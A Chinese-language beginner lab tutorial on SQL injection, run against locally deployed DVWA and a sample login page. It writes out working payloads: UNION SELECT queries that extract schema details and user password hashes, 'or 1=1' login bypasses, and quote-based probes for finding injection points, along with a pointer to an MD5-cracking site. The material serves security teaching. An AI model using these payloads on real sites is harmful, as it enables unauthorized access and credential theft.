Sql 注入基础原理介绍
一、实验说明
1.1 实验内容
SQL注入攻击通过构建特殊的输入作为参数传入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作，本章课程通过 LAMP 搭建 Sql 注入环境，两个实验分别介绍 Sql 注入爆破数据库、Sql 注入绕过验证两个知识点。
1.2 实验知识点
Sql 注入漏洞的原理
Sql 注入点的判断方法
Sql 注入漏洞的分类

1.3 实验环境
python2.7
Xfce 终端
Firefox 浏览器

1.4 适合人群
本课程难度为简单，属于初级级别课程，适合具有一点 sql 语法基础的用户。
如果你没有 sql 的基础，建议你先阅读下述内容：
Mysql 入门教程

或学习以下免费课程：
MySQL 基础课程

1.5 代码获取
你可以通过下面命令将代码下载到实验楼环境中，作为参照对比进行学习。
$ wget http://labfile.oss.aliyuncs.com/courses/876/dvwa.tar.gz$ wget http://labfile.oss.aliyuncs.com/courses/876/sql2.tar.gz

二、实验原理
Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中，再在后台 Sql 服务器上解析执行进行的攻击，它目前黑客对数据库进行攻击的最常用手段之一。
本课程将带你从介绍 Web 应用运行原理开始，一步一步理解 Sql 注入的由来、原理和攻击方式。
三、Web 程序三层架构
三层架构(3-tier architecture
) 通常意义上就是将整个业务应用划分为：
界面层（User Interface layer）

业务逻辑层（Business Logic Layer）

数据访问层（Data access layer）。

区分层次的目的即为了“高内聚低耦合”的思想。在软件体系架构设计中，分层式结构是最常见，也是最重要的一种结构被应用于众多类型的软件开发。
由数据库驱动的Web应用程序依从三层架构的思想也分为了三层：
表示层。

业务逻辑层（又称领域层）

数据访问层（又称存储层）

拓扑结构如下图所示

此处输入图片的描述

业务逻辑层的 Web 服务器从本地存储中加载 index.php
脚本并解析。

脚本连接位于数据访问层的 DBMS
（数据库管理系统），并执行 Sql
语句。

数据访问层的数据库管理系统返回 Sql
语句执行结果给 Web 服务器。

业务逻辑层的 Web 服务器将 Web 页面封装成 HTML 格式发送给表示层的 Web 浏览器。

表示层的 Web 浏览器解析 HTML 文件，将内容展示给用户。

在三层架构中，所有通信都必须要经过中间层，简单地说，三层架构是一种线性关系。
四、Sql 注入漏洞
4.1 Sql 注入产生原因及威胁：
刚刚讲过当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求，如果权限验证通过就会执行 Sql 语句。
这种网站内部直接发送的Sql请求一般不会有危险，但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句，如果用户输入的数据被构造成恶意 Sql 代码，Web 应用又未对动态构造的 Sql 语句使用的参数进行审查，则会带来意想不到的危险。
Sql 注入带来的威胁主要有如下几点
猜解后台数据库，这是利用最多的方式，盗取网站的敏感信息。
绕过认证，列如绕过验证登录网站后台。
注入可以借助数据库的存储过程进行提权等操作

4.2 Sql 注入示例一.猜解数据库
接下来我们通过一个实例，让你更加清楚的理解 Sql 注入猜解数据库是如何发生的。
如下图所示，先下载文件并解压运行：
shiyanlou:~/ $ wget http://labfile.oss.aliyuncs.com/courses/876/dvwa.tar.gzshiyanlou:~/ $ tar -zxvf dvwa.tar.gzshiyanlou:~/ $ cd dvwashiyanlou:~/ $ sudo apt-get updateshiyanlou:~/ $ ./deploy.sh

进入 Firefox 浏览器，输入网址 : localhost/dvwasql , 点击create/Reset Database
创建数据库：
[图片上传中。。。（2）]

此处输入图片的描述

进入登录界面，默认用户名为 admin
密码为 password

此处输入图片的描述

将 Security 级别调整为 low
(有兴趣的同学可以看看其他级别，这里只做入门讲解)

此处输入图片的描述

进入 SQL injection
页面开始注入：

此处输入图片的描述

此处输入图片的描述

此处输入图片的描述

可以看到，实际执行的Sql语句是：
SELECT first_name, last_name FROM users WHERE user_id = '1';

我们是通过控制参数Id的值来返回我们需要的信息。
如果我们不按常理出牌，比如在输入框中输入 1' order by 1#

实际执行的Sql语句就会变成:
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;(按照Mysql语法，#后面会被注释掉，使用这种方法屏蔽掉后面的单引号，避免语法错误)

这条语句的意思是查询users表中user_id为1的数据并按第一字段排行。
输入 1' order by 1#
和 1' order by 2#
时都返回正常：

此处输入图片的描述

此处输入图片的描述

实际执行的Sql语句是 :
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;

[图片上传中。。。（12）]
通过上图返回信息，我们成功获取到：
当前网站使用数据库为 dvwa .
当前执行查询用户名为 root@localhost .

同理我们再输入 1' union select version(),@@version_compile_os#
进行查询：
version() 获取当前数据库版本.
@@version_compile_os 获取当前操作系统。

实际执行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

[图片上传中。。。（13）]
通过上图返回信息，我们又成功获取到：
当前数据库版本为 : 5.6.31-0ubuntu0.15.10.1.
当前操作系统为 : debian-linux-gnu

接下来我们尝试获取 dvwa 数据库中的表名。
information_schema
是 mysql 自带的一张表，这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名，数据库的表，表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表，该表包含两个字段 table_name 和 table_schema，分别记录 DBMS 中的存储的表名和表名所在的数据库。
我们输入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
进行查询：
实际执行的Sql语句是：
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;

[图片上传中。。。（14）]
通过上图返回信息，我们再获取到：
dvwa 数据库有两个数据表，分别是 guestbook 和 users .

有些同学肯定还不满足目前获取到的信息，那么我们接下来尝试获取重量级的用户名、密码。
由经验我们可以大胆猜测users表的字段为 user 和 password ，所以输入：1' union select user,password from users#
进行查询：
实际执行的 Sql 语句是：
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

[图片上传中。。。（15）]
可以看到成功爆出用户名、密码，密码采用 md5 进行加密，可以到www.cmd5.com
进行解密。
直此，同学们应该已经对 Sql 注入有了一个大概得了解，也清楚了 Sql 注入的强大。
4.3 Sql 注入实例二.验证绕过
接下来我们再试试另一个利用 Sql 漏洞绕过登录验证的实验。
如下图所示，先下载文件并解压运行：
shiyanlou:~/ $ wget http://labfile.oss.aliyuncs.com/courses/876/sql2.tar.gzshiyanlou:~/ $ tar -zxvf sql2.tar.gzshiyanlou:~/ $ cd sql2shiyanlou:~/ $ sudo apt-get update shiyanlou:~/ $ ./deploy.sh

进入 Firefox 浏览器，输入网址 : localhost/sql2 , 按照下图所示顺序，初始化数据：
[图片上传中。。。（16）]
[图片上传中。。。（17）]
[图片上传中。。。（18）]
[图片上传中。。。（19）]
准备工作完成之后，我们进入首页发现这是一个普通的登录页面，只要输入正确的用户名和密码就能登录成功。
我们先尝试随意输入用户名 123 和密码 123 登录：
[图片上传中。。。（20）]
从错误页面中我们无法获取到任何信息。
看看后台代码如何做验证的：
[图片上传中。。。（21）]
实际执行的操作时：
select * from users where username='123' and password='123'

当查询到数据表中存在同时满足 username 和 password 字段时，会返回登录成功。
按照第一个实验的思路，我们尝试在用户名中输入 123' or 1=1 #
, 密码同样输入 123' or 1=1 #
：
[图片上传中。。。（22）]
[图片上传中。。。（23）]
为什么能够成功登陆呢？因为实际执行的语句是：
select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'

按照 Mysql 语法，# 后面的内容会被忽略，所以以上语句等同于（实际上密码框里不输入任何东西也一样）：
select * from users where username='123' or 1=1

由于判断语句 or 1=1 恒成立，所以结果当然返回真，成功登录。
我们再尝试不使用 # 屏蔽单引号，采用手动闭合的方式：
我们尝试在用户名中输入 123' or '1'='1
, 密码同样输入 123' or '1'='1
（不能少了单引号，否则会有语法错误）：
[图片上传中。。。（24）]
[图片上传中。。。（25）]
实际执行的 Sql 语句是：
select * from users where username='123' or '1'='1' and password='123' or '1'='1`

看到了吗？两个 or 语句使 and 前后两个判断永远恒等于真，所以能够成功登录。
还有很多其他 Mysql 语句可以巧妙的绕过验证，同学们可以发散自己的思维进行尝试。
五、判断 Sql 注入点
通常情况下，可能存在 Sql 注入漏洞的 Url 是类似这种形式 ：http://xxx.xxx.xxx/abcd.php?id=XX

对 Sql 注入的判断，主要有两个方面：
判断该带参数的 Url 是否存在 Sql 注入？
如果存在 Sql 注入，那么属于哪种 Sql 注入？

可能存在 Sql 注入攻击的 ASP/PHP/JSP 动态网页中，一个动态网页中可能只有一个参数，有时可能有多个参数。有时是整型参数，有时是字符串型参数，不能一概而论。总之只要是带有参数的 动态网页且此网页访问了数据库，那么就有可能存在 Sql 注入。如果程序员没有足够的安全意识，没有进行必要的字符过滤，存在SQL注入的可能性就非常大。
5.1 判断是否存在 Sql 注入漏洞
最为经典的单引号判断法：
在参数后面加上单引号,比如:
http://xxx/abc.php?id=1'

如果页面返回错误，则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
（如果未报错，不代表不存在 Sql 注入，因为有可能页面对单引号做了过滤，这时可以使用判断语句进行注入，因为此为入门基础课程，就不做深入讲解了）
5.2 判断 Sql 注入漏洞的类型
通常 Sql 注入漏洞分为 2 种类型：
数字型
字符型

其实所有的类型都是根据数据库本身表的类型所产生的，在我们创建表的时候会发现其后总有个数据类型的限制，而不同的数据库又有不同的数据类型，但是无论怎么分常用的查询数据类型总是以数字与字符来区分的，所以就会产生注入点为何种类型。
[图片上传中。。。（26）]
5.2.1 数字型判断：
当输入的参 x 为整型时，通常 abc.php 中 Sql 语句类型大致如下：
select * from <表名> where id = x

这种类型可以使用经典的 and 1=1
和 and 1=2
来判断：
Url 地址中输入 http://xxx/abc.php?id= x and 1=1
页面依旧运行正常，继续进行下一步。

Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2
页面运行错误，则说明此 Sql 注入为数字型注入。

原因如下：
当输入 and 1=1
时，后台执行 Sql 语句：
select * from <表名> where id = x and 1=1

没有语法错误且逻辑判断为正确，所以返回正常。
当输入 and 1=2
时，后台执行 Sql 语句：
select * from <表名> where id = x and 1=2

没有语法错误但是逻辑判断为假，所以返回错误。
我们再使用假设法：如果这是字符型注入的话，我们输入以上语句之后应该出现如下情况：
select * from <表名> where id = 'x and 1=1' select * from <表名> where id = 'x and 1=2'

查询语句将 and 语句全部转换为了字符串，并没有进行 and 的逻辑判断，所以不会出现以上结果，故假设是不成立的。
5.2.2 字符型判断：
当输入的参 x 为字符型时，通常 abc.php 中 SQL 语句类型大致如下：
select * from <表名> where id = 'x'

这种类型我们同样可以使用 and '1'='1
和 and '1'='2
来判断：
Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1
页面运行正常，继续进行下一步。

Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2
页面运行错误，则说明此 Sql 注入为字符型注入。

原因如下：
当输入 and '1'='1
时，后台执行 Sql 语句：
select * from <表名> where id = 'x' and '1'='1'

语法正确，逻辑判断正确，所以返回正确。
当输入 and '1'='2
时，后台执行 Sql 语句：
select * from <表名> where id = 'x' and '1'='2'

语法正确，但逻辑判断错误，所以返回正确。同学们同样可以使用假设法来验证。
六、 总结
sql注入常用技术有段还包括：
采用非主流通道技术
避开输入过滤技术
使用特殊的字符
强制产生错误
使用条件语句
利用存储过程
推断技术
........

关于 Sql 注入的入门基础教程就到此为止，如果想进一步学习 Sql 注入攻击，可以关注即将上线的课程《通过代码审计学习Web安全》，其中Sql注入相关包含一下进阶内容：
宽字节注入
urldecode二次注入
sql注入防御

作业
按照教程自己动手做Sql注入实验并思考自己是否理解原理（有不懂可以在提问区提问），并按需求截图写实验报告。
thanks for reading！